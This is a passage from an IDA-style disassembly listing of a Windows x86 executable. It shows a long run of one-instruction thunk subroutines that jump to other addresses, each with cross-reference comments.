sub_401762	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401767	proc near		; CODE XREF: sub_418900+Cp
		jmp	sub_418530
sub_401767	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40176C	proc near		; CODE XREF: ___:00416ABBp
					; ___:00416D83p ...
		jmp	sub_416D60
sub_40176C	endp

; ---------------------------------------------------------------------------
		jmp	loc_420E60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401776	proc near		; CODE XREF: ___:00416E5Fp
		jmp	sub_417DD0
sub_401776	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40177B	proc near		; CODE XREF: sub_42F8D0+5Dp
					; sub_4308A0+2Cp ...
		jmp	sub_431070
sub_40177B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E330

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401785	proc near		; CODE XREF: ___:00426110p
		jmp	sub_427620
sub_401785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40178A	proc near		; CODE XREF: ___:004254F7p
		jmp	sub_425300
sub_40178A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40178F	proc near		; CODE XREF: ___:00416F3Ap
		jmp	sub_418300
sub_40178F	endp

; ---------------------------------------------------------------------------
		jmp	loc_431FA0
; ---------------------------------------------------------------------------
		jmp	loc_42EF40

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40179E	proc near		; CODE XREF: ___:00428053p sub_4280B0j ...
		jmp	sub_427F80
sub_40179E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017A3	proc near		; CODE XREF: ___:00416B6Bp
					; ___:00416D33p ...
		jmp	sub_416D00
sub_4017A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017A8	proc near		; DATA XREF: ___:off_43E17Co
		jmp	sub_42A190
sub_4017A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017AD	proc near		; CODE XREF: sub_42FFE0+D7p
		jmp	sub_4317C0
sub_4017AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017B2	proc near		; CODE XREF: sub_40AF00+5j
					; ___:loc_43016Dp
		jmp	sub_431410
sub_4017B2	endp

; ---------------------------------------------------------------------------
		jmp	loc_4301C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017BC	proc near		; CODE XREF: sub_425470+10p
					; sub_425570+3Dp
		jmp	sub_425540
sub_4017BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017C1	proc near		; CODE XREF: sub_40AF20+5j
					; ___:loc_430175p ...
		jmp	sub_431430
sub_4017C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017C6	proc near		; DATA XREF: ___:off_43E000o
		jmp	sub_404C70
sub_4017C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017CB	proc near		; CODE XREF: sub_424880+1Ep
					; sub_4248C0+A6p ...
		jmp	sub_424810
sub_4017CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017D0	proc near		; CODE XREF: ___:00416B2Bp
					; ___:00439FD4j ...
		jmp	sub_417A00
sub_4017D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017D5	proc near		; CODE XREF: sub_4161C0+11p
					; ___:004161E7p ...
		jmp	sub_416790
sub_4017D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017DA	proc near		; CODE XREF: sub_4159B0+3p
					; ___:0041620Fp ...
		jmp	sub_416440
sub_4017DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4017DF	proc near		; CODE XREF: sub_4155A0+6Ap
					; sub_415FD0+32p
		jmp	sub_415F10
sub_4017DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017E4	proc near		; CODE XREF: sub_4034E0+DBp
					; sub_403FC0+3Fp ...
		jmp	sub_40A7A0
sub_4017E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017E9	proc near		; CODE XREF: ___:00421E4Ap
		jmp	sub_422410
sub_4017E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4017EE	proc near
		jmp	sub_40B290
sub_4017EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017F3	proc near		; CODE XREF: sub_406890+205p
		jmp	sub_41B8C0
sub_4017F3	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017FD	proc near		; CODE XREF: ___:00426AA3p
		jmp	sub_426AD0
sub_4017FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401802	proc near		; CODE XREF: sub_41E700+FFp
					; sub_41E700+179p ...
		jmp	sub_421B20
sub_401802	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401807	proc near		; CODE XREF: sub_40A190+7p
					; sub_40D600+2FDp
		jmp	sub_40A1B0
sub_401807	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40180C	proc near		; CODE XREF: sub_40B4B0+76p
		jmp	sub_40B410
sub_40180C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401811	proc near		; CODE XREF: ___:00423F2Dp
					; DATA XREF: ___:off_444404o
		jmp	sub_4250A0
sub_401811	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401816	proc near		; CODE XREF: sub_41E700+18Ep
					; ___:0043B223j
		jmp	sub_421990
sub_401816	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40181B	proc near		; DATA XREF: ___:off_43E10Co
		jmp	sub_426FB0
sub_40181B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401820	proc near		; CODE XREF: ___:00416E7Fp
		jmp	sub_417E90
sub_401820	endp

; ---------------------------------------------------------------------------
		jmp	loc_42ECB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40182A	proc near		; CODE XREF: sub_41E700+3BCp
					; sub_422650+3p
		jmp	sub_421CF0
sub_40182A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40182F	proc near		; CODE XREF: sub_426730+90p
		jmp	sub_4269F0
sub_40182F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401834	proc near		; CODE XREF: ___:004243EDp
					; sub_4248C0+135p
		jmp	sub_424420
sub_401834	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401839	proc near		; CODE XREF: sub_40BEC0+3p
					; ___:0040BF8Fp ...
		jmp	sub_40C100
sub_401839	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40183E	proc near		; CODE XREF: sub_4070F0+36p
					; sub_4070F0+72p ...
		jmp	sub_407340
sub_40183E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401843	proc near		; CODE XREF: ___:004131F1p
		jmp	sub_415710
sub_401843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401848	proc near		; CODE XREF: ___:0040BA51p
					; ___:0040BB18p ...
		jmp	sub_412B10
sub_401848	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40184D	proc near		; CODE XREF: ___:0043207Fp
					; ___:0043218Fp ...
		jmp	sub_431BC0
sub_40184D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401852	proc near		; DATA XREF: ___:0043233Ao
					; ___:004324A0o
		jmp	sub_431C30
sub_401852	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401857	proc near		; CODE XREF: sub_416400+7p
		jmp	sub_4167E0
sub_401857	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40185C	proc near		; CODE XREF: sub_4183D0+34p
		jmp	sub_404C20
sub_40185C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401861	proc near		; CODE XREF: sub_4034E0+7Ap
					; sub_4034E0+9Ep ...
		jmp	sub_409BC0
sub_401861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401866	proc near		; CODE XREF: sub_4205D0+152p
		jmp	sub_420840
sub_401866	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40186B	proc near		; CODE XREF: ___:0041A2C8p
					; sub_41B0B0+3p ...
		jmp	sub_41B0E0
sub_40186B	endp

; ---------------------------------------------------------------------------
		jmp	loc_429E00
; ---------------------------------------------------------------------------
		jmp	loc_41C180

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40187A	proc near		; CODE XREF: ___:00416AEBp
					; ___:0043A00Cj ...
		jmp	sub_416DB0
sub_40187A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40187F	proc near		; CODE XREF: sub_40FFD0+217p
					; sub_41FE30+4Cp ...
		jmp	sub_41FDF0
sub_40187F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401884	proc near		; CODE XREF: sub_429B30+9Dp
		jmp	sub_4281F0
sub_401884	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401889	proc near		; CODE XREF: sub_42BEF0+1A5p
		jmp	sub_427E50
sub_401889	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40188E	proc near		; DATA XREF: ___:0043E184o
		jmp	sub_42A1E0
sub_40188E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401893	proc near		; CODE XREF: sub_41B550+DDp
		jmp	sub_41ADD0
sub_401893	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401898	proc near
		jmp	sub_432F60
sub_401898	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40189D	proc near		; CODE XREF: ___:00414235p
					; sub_414DB0+1B2p
		jmp	sub_413E10
sub_40189D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018A2	proc near		; CODE XREF: sub_412050+1B6p
		jmp	sub_40A190
sub_4018A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018A7	proc near		; CODE XREF: sub_41E700+5ABp
		jmp	sub_420470
sub_4018A7	endp

; ---------------------------------------------------------------------------
		jmp	loc_431DA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018B1	proc near		; CODE XREF: sub_40A990+14p
		jmp	sub_40AC40
sub_4018B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018B6	proc near		; CODE XREF: sub_413580+B4p
					; ___:00414C00p ...
		jmp	sub_4156B0
sub_4018B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018BB	proc near		; CODE XREF: sub_41A350+6Dp
					; sub_41A350+1B5p
		jmp	sub_41B000
sub_4018BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018C0	proc near		; CODE XREF: ___:0043116Ap
		jmp	sub_430B20
sub_4018C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018C5	proc near		; CODE XREF: sub_418F30+5Fp
		jmp	sub_4190D0
sub_4018C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018CA	proc near		; CODE XREF: ___:00416B3Bp
					; ___:00439FC6j ...
		jmp	sub_417990
sub_4018CA	endp

; ---------------------------------------------------------------------------
		jmp	loc_419E70
; ---------------------------------------------------------------------------
		jmp	sub_41A180

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018D9	proc near		; CODE XREF: sub_41E700+46p
		jmp	sub_421950
sub_4018D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018DE	proc near		; CODE XREF: sub_42BEF0+2D5p
		jmp	sub_429A50
sub_4018DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018E3	proc near		; CODE XREF: sub_4221D0+7p
		jmp	sub_4225C0
sub_4018E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018E8	proc near		; CODE XREF: sub_422050+9p
					; sub_4224B0+18p
		jmp	sub_422630
sub_4018E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018ED	proc near		; CODE XREF: sub_422250+8p
		jmp	sub_422610
sub_4018ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018F2	proc near		; CODE XREF: sub_413440+43p
					; sub_414840+4Fp ...
		jmp	sub_4157C0
sub_4018F2	endp

; ---------------------------------------------------------------------------
		jmp	loc_430AA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018FC	proc near		; CODE XREF: sub_421A70+1Fp
		jmp	sub_421DF0
sub_4018FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401901	proc near		; CODE XREF: sub_421950+11p
					; sub_421DF0+1Fp
		jmp	sub_421F20
sub_401901	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401906	proc near		; CODE XREF: sub_40B410+6Dp
		jmp	sub_40BE10
sub_401906	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40190B	proc near		; CODE XREF: sub_4094D0+13p
		jmp	loc_409600
sub_40190B	endp

; ---------------------------------------------------------------------------
		jmp	loc_436650
; ---------------------------------------------------------------------------
		jmp	sub_41B0B0
; ---------------------------------------------------------------------------


loc_40191A:				; DATA XREF: ___:off_43E068o
		jmp	loc_416D80

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40191F	proc near		; CODE XREF: ___:00413BA1p
		jmp	sub_413A20
sub_40191F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401924	proc near		; CODE XREF: ___:00413203p
					; sub_413290+32p
		jmp	sub_415550
sub_401924	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401929	proc near		; CODE XREF: ___:00416BEBp
					; ___:00439F2Cj ...
		jmp	sub_4170C0
sub_401929	endp

; ---------------------------------------------------------------------------
		jmp	loc_431130
; ---------------------------------------------------------------------------
		jmp	loc_433580

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401938	proc near		; CODE XREF: sub_41C6B0+F1p
					; sub_41C6B0+270p ...
		jmp	sub_420EB0
sub_401938	endp

; ---------------------------------------------------------------------------
		jmp	loc_40A480

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401942	proc near		; CODE XREF: sub_404C70+283p
					; sub_40EDE0+D2p ...
		jmp	sub_40F000
sub_401942	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401947	proc near		; CODE XREF: sub_421990+34p
					; sub_4222E0+67p
		jmp	sub_421F70
sub_401947	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40194C	proc near		; CODE XREF: sub_404C70+BF1p
		jmp	sub_4066E0
sub_40194C	endp

; ---------------------------------------------------------------------------
		jmp	loc_4323F0
; ---------------------------------------------------------------------------


loc_401956:				; DATA XREF: sub_41FCA0+39o
		jmp	loc_41FBD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40195B	proc near		; CODE XREF: ___:0041A23Ep
					; sub_41A350+Bp ...
		jmp	sub_41A330
sub_40195B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401960	proc near		; CODE XREF: ___:0041AC26p
					; ___:0041AD06p
		jmp	sub_41A930
sub_401960	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401965	proc near
		jmp	sub_4192C0
sub_401965	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40196A	proc near		; CODE XREF: sub_411980+2Ep
					; sub_411B80+3p
		jmp	sub_411AC0
sub_40196A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40196F	proc near		; CODE XREF: sub_41E700+F5p
					; sub_41E700+16Fp ...
		jmp	sub_421A40
sub_40196F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401974	proc near		; CODE XREF: sub_4094D0+4p
					; sub_409680+1Fp ...
		jmp	sub_409580
sub_401974	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401979	proc near
		jmp	sub_409AB0
sub_401979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40197E	proc near		; CODE XREF: sub_41F900+20p
					; sub_429B30+37p
		jmp	sub_41FEF0
sub_40197E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401983	proc near		; CODE XREF: sub_413580+4Ap
					; ___:00414BAFp ...
		jmp	sub_4154A0
sub_401983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401988	proc near		; CODE XREF: sub_40A4B0+A8p
		jmp	sub_40A8D0
sub_401988	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40198D	proc near		; CODE XREF: sub_40CC30+41p
		jmp	sub_40CEE0
sub_40198D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401992	proc near		; CODE XREF: ___:00433495p
					; ___:00433595p
		jmp	sub_4331F0
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401997	proc near		; CODE XREF: sub_421990+29p
		jmp	sub_421E90
sub_401997	endp

; ---------------------------------------------------------------------------
		jmp	loc_42ED80
; ---------------------------------------------------------------------------
		jmp	loc_42ED50

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019A6	proc near		; CODE XREF: sub_40A810+Dp
					; sub_40AA70+91p
		jmp	sub_40A990
sub_4019A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019AB	proc near		; CODE XREF: sub_4220F0+23p
					; sub_4224B0+11p
		jmp	sub_422650
sub_4019AB	endp

; ---------------------------------------------------------------------------
		jmp	loc_41ABC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019B5	proc near		; CODE XREF: sub_403FC0+2Cp
					; ___:0040403Fp ...
		jmp	sub_4034E0
sub_4019B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019BA	proc near		; CODE XREF: sub_4227F0+6p
		jmp	sub_422860
sub_4019BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019BF	proc near		; DATA XREF: ___:off_43E050o
		jmp	sub_416CD0
sub_4019BF	endp

; ---------------------------------------------------------------------------
		jmp	sub_40FDE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4019C9	proc near		; CODE XREF: sub_407410+4p
		jmp	sub_407540
sub_4019C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019CE	proc near		; CODE XREF: ___:0040B6A9p
					; ___:0040BAC6p ...
		jmp	sub_40B5A0
sub_4019CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019D3	proc near		; CODE XREF: sub_40FFD0+AF4p
					; sub_40FFD0+E6Ap
		jmp	sub_411B80
sub_4019D3	endp

; ---------------------------------------------------------------------------
		jmp	loc_4329D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019DD	proc near		; CODE XREF: sub_414540+CEp
		jmp	sub_4146B0
sub_4019DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019E2	proc near		; DATA XREF: ___:0043E1C8o
		jmp	sub_42B910
sub_4019E2	endp

; ---------------------------------------------------------------------------


loc_4019E7:				; DATA XREF: ___:off_43E0D0o
		jmp	loc_41D7D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019EC	proc near		; CODE XREF: sub_421AB0+3p
		jmp	sub_421FD0
sub_4019EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4019F1	proc near		; CODE XREF: ___:00416E2Fp
		jmp	sub_40B130
sub_4019F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4019F6	proc near
		jmp	sub_413350
sub_4019F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019FB	proc near		; CODE XREF: sub_41E700+477p
		jmp	sub_420190
sub_4019FB	endp

; ---------------------------------------------------------------------------
		jmp	loc_4218F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A05	proc near		; DATA XREF: ___:0043E124o
		jmp	sub_4276E0
sub_401A05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A0A	proc near
		jmp	sub_411BB0
sub_401A0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A0F	proc near		; CODE XREF: sub_433260+92p
		jmp	sub_4309D0
sub_401A0F	endp

; ---------------------------------------------------------------------------
		jmp	loc_428050
; ---------------------------------------------------------------------------
		jmp	loc_426AA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A1E	proc near		; CODE XREF: sub_421E90+32p
		jmp	sub_4222E0
sub_401A1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A23	proc near		; CODE XREF: ___:00416B7Bp
					; sub_416CD0+3p ...
		jmp	sub_416CA0
sub_401A23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A28	proc near		; CODE XREF: ___:00423AA4p
					; ___:00427388p ...
		jmp	sub_420DA0
sub_401A28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A2D	proc near		; CODE XREF: sub_4222B0+Ap
		jmp	sub_4226C0
sub_401A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A32	proc near		; CODE XREF: ___:00412F3Fp
					; ___:00412FF4p ...
		jmp	sub_404640
sub_401A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A37	proc near		; CODE XREF: sub_4094D0+1Ap
					; sub_4095B0+4p ...
		jmp	sub_409540
sub_401A37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A3C	proc near		; DATA XREF: ___:off_43E028o
		jmp	sub_40FDE0
sub_401A3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A41	proc near		; DATA XREF: ___:0043E0E4o
		jmp	sub_426730
sub_401A41	endp

; ---------------------------------------------------------------------------
		jmp	loc_409DD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A4B	proc near		; CODE XREF: sub_415B40+1Ep
		jmp	sub_4165F0
sub_401A4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A50	proc near		; CODE XREF: ___:0042F380p
					; sub_430F90+36p ...
		jmp	sub_4303D0
sub_401A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A55	proc near		; CODE XREF: sub_413850+3Ep
		jmp	sub_433990
sub_401A55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A5A	proc near		; CODE XREF: sub_414A10+3p
		jmp	sub_414A40
sub_401A5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A5F	proc near		; CODE XREF: ___:00408243p
					; ___:004086D4p
		jmp	sub_409510
sub_401A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A64	proc near		; DATA XREF: ___:0043E0E0o
					; ___:0043E0F0o ...
		jmp	sub_426460
sub_401A64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A69	proc near		; CODE XREF: sub_41D8D0+1ADp
		jmp	sub_42C8A0
sub_401A69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A6E	proc near		; CODE XREF: sub_4205D0+191p
					; sub_422860+3p ...
		jmp	sub_420860
sub_401A6E	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F080

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A78	proc near		; CODE XREF: sub_422680+5p
		jmp	sub_4227F0
sub_401A78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A7D	proc near		; CODE XREF: ___:00416EEAp
		jmp	sub_4181A0
sub_401A7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A82	proc near		; CODE XREF: sub_407220+5p
					; sub_407310+6p ...
		jmp	sub_407460
sub_401A82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A87	proc near		; CODE XREF: sub_4034E0+90p
					; sub_404C70+40Cp ...
		jmp	sub_40A720
sub_401A87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A8C	proc near		; CODE XREF: sub_41D8D0+2FFp
					; sub_41EFD0+52Fp
		jmp	sub_41FE30
sub_401A8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A91	proc near		; CODE XREF: ___:00431E5Ap
		jmp	sub_42F8D0
sub_401A91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A96	proc near		; CODE XREF: sub_415510+1Fp
		jmp	sub_415E70
sub_401A96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A9B	proc near		; CODE XREF: sub_4034E0+E5p
					; sub_409EF0+Fp ...
		jmp	sub_409E20
sub_401A9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AA0	proc near		; CODE XREF: sub_4315F0+17p
					; sub_4315F0+33p
		jmp	sub_4337A0
sub_401AA0	endp

; ---------------------------------------------------------------------------
		jmp	loc_433510
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_12. PRESS KEYPAD "+" TO	EXPAND]
; ---------------------------------------------------------------------------


loc_401AAF:				; DATA XREF: ___:off_43E0FCo
		jmp	loc_426AA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AB4	proc near		; CODE XREF: sub_424F10+E5p
					; sub_424F10+120p
		jmp	sub_424DC0
sub_401AB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AB9	proc near		; DATA XREF: ___:off_43E034o
		jmp	sub_412050
sub_401AB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ABE	proc near		; DATA XREF: ___:0041FBD3o
		jmp	sub_41FB30
sub_401ABE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AC3	proc near		; CODE XREF: sub_4070F0+Bp
		jmp	sub_4072D0
sub_401AC3	endp

; ---------------------------------------------------------------------------
		jmp	loc_432C30
; ---------------------------------------------------------------------------


loc_401ACD:				; DATA XREF: ___:off_43E020o
		jmp	loc_40B950

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AD2	proc near		; CODE XREF: sub_403EE0+2Bp
					; sub_403EE0+3Bp ...
		jmp	sub_403D10
sub_401AD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AD7	proc near		; CODE XREF: sub_413580+66p
					; sub_413580+CAp ...
		jmp	sub_4156E0
sub_401AD7	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B820

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AE1	proc near
		jmp	sub_422890
sub_401AE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AE6	proc near		; CODE XREF: ___:00416BCBp
					; ___:00439F48j ...
		jmp	sub_40B1F0
sub_401AE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AEB	proc near		; CODE XREF: ___:00421804p
					; ___:0042183Ep
		jmp	sub_421670
sub_401AEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AF0	proc near		; CODE XREF: sub_404BE0+15p
		jmp	sub_4070F0
sub_401AF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AF5	proc near		; DATA XREF: ___:off_43E0BCo
		jmp	sub_41A180
sub_401AF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AFA	proc near		; CODE XREF: ___:00416FAFp
		jmp	sub_4189A0
sub_401AFA	endp

; ---------------------------------------------------------------------------


loc_401AFF:				; CODE XREF: ___:00438D16j
		jmp	loc_40CB70
; ---------------------------------------------------------------------------


loc_401B04:				; DATA XREF: ___:off_43E16Co
		jmp	loc_429E00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B09	proc near		; CODE XREF: sub_417050+28p
		jmp	sub_418930
sub_401B09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B0E	proc near		; CODE XREF: ___:00431A77p
		jmp	sub_431AB0
sub_401B0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B13	proc near		; CODE XREF: sub_42FFE0+Bp
		jmp	sub_430460
sub_401B13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B18	proc near
		jmp	sub_40AF20
sub_401B18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B1D	proc near		; CODE XREF: ___:00418D1Bp
					; sub_418F30+28p ...
		jmp	sub_418FF0
sub_401B1D	endp


; =============== S U B	R O U T	I N E =======================================

